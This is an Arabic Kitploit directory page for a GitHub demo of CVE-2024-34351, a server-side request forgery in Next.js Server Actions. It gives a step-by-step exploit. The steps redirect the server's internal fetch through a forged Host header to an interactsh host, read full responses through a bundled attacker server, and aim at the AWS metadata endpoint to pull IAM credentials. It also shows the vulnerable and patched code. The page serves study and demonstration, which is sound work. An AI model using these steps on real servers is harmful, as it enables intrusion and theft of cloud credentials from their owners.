Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-34351-demo | Kitploit
أدوات/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابةالتعلم والتعليم
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

عرض CVE-2024-34351

تطبيق Next.js 14.0.0 بسيط للتوضيح على CVE-2024-34351 -- ثغرة تزوير الطلبات من جانب الخادم (SSRF) في إجراءات خادم Next.js.

تم اكتشافها بواسطة Adam Kues وShubham Shah في Assetnote. تم إصلاحها في Next.js 14.1.1.


كيف تعمل الثغرة

عندما يقوم إجراء خادم باستدعاء redirect('/some-path')، يقوم Next.js ببناء عنوان fetch داخلي باستخدام ترويسة Host من الطلب الوارد دون تحقق:

root@kitploit:~
// الكود القابل للاستغلال في createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // يتحكم فيه المهاجم
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // الخادم ينفذ هذا الطلب

يمكن للمهاجم الذي يتحكم في ترويسة Host توجيه عملية الجلب الداخلية هذه إلى أي وجهة يمكن للخادم الوصول إليها.


المتطلبات

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (مجانية) للاعتراض

الإعداد

root@kitploit:~
npm install
npm run build   # يجب استخدام بناء الإنتاج -- ففي وضع التطوير تُوجَّه عمليات إعادة التوجيه بشكل مختلف
npm run start   # يعمل التطبيق على http://localhost:3000

الاستغلال

الخطوة 1 -- تأكيد الطلب الصادر باستخدام interactsh

يُعد interactsh مفيدًا لتأكيد أن خادم Next.js يقوم بطلب صادر إلى مضيف يتحكم فيه المهاجم.

root@kitploit:~
# تثبيت interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# بدء جلسة -- لاحظ رابط التفاعل الخاص بك، مثل abc123.oast.fun
interactsh-client

في Burp Suite:

  1. انتقل إلى http://localhost:3000 وقدّم نموذج تسجيل الدخول مع تفعيل الاعتراض ON
  2. في طلب POST المعترض، غيّر Host: localhost:3000 إلى Host: abc123.oast.fun
  3. أرسل الطلب Forward
  4. تحقق من interactsh -- سترى طلب HEAD مسجلًا من خادم Next.js

هذا يثبت وجود SSRF صادر. الطلب ينشأ من عملية الخادم، وليس من المتصفح.

الخطوة 2 -- القراءة الكاملة باستخدام خادم المهاجم

لا يمكن لـ interactsh التحكم في استجابته، لذا لن يتابع Next.js إلى طلب GET. للحصول على كامل نص الاستجابة، استخدم خادم المهاجم المرفق:

root@kitploit:~
python3 attacker/attacker_server.py 8888

اضبط ترويسة Host إلى <your-lan-ip>:8888 وأرسل الطلب. يستجيب خادم المهاجم لطلب HEAD بـ Content-Type: text/x-component، مما يدفع إلى طلب GET. يُعاد نص الاستجابة الكامل داخل استجابة Next.js الظاهرة في Burp.

الخطوة 3 -- تصعيد الحصول على بيانات AWS الوصفية (على EC2)

عند تشغيل التطبيق القابل للاستغلال على مثيل AWS EC2، اضبط ترويسة Host على:

root@kitploit:~
Host: 169.254.169.254

سيقوم Next.js بالجلب من خدمة بيانات المثيل الوصفية. لاسترجاع بيانات اعتماد IAM:

root@kitploit:~
Host: 169.254.169.254

ثم عدّل مسار إعادة التوجيه أو استخدم طلبًا متابِعًا لاستهداف:

root@kitploit:~
http://169.254.169.254/latest/meta-data/iam/security-credentials/

يُعاد نص الاستجابة الوصفية الكامل إلى متصفح المهاجم.


التصحيح (Next.js 14.1.1)

root@kitploit:~
// تم التصحيح -- لا يقرأ بعد الآن من ترويسة الطلب التي يتحكم فيها المهاجم
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

يفضل الإصلاح process.env.__NEXT_PRIVATE_ORIGIN -- وهي تُعيّن عند بدء تشغيل الخادم ولا يمكن للمهاجم التحكم بها.


المراجع

  • مقال أبحاث Assetnote
  • نشرة Assetnote الأمنية
  • نشرة GitHub الأمنية GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • طلب السحب PR #62561
تنزيل الأداة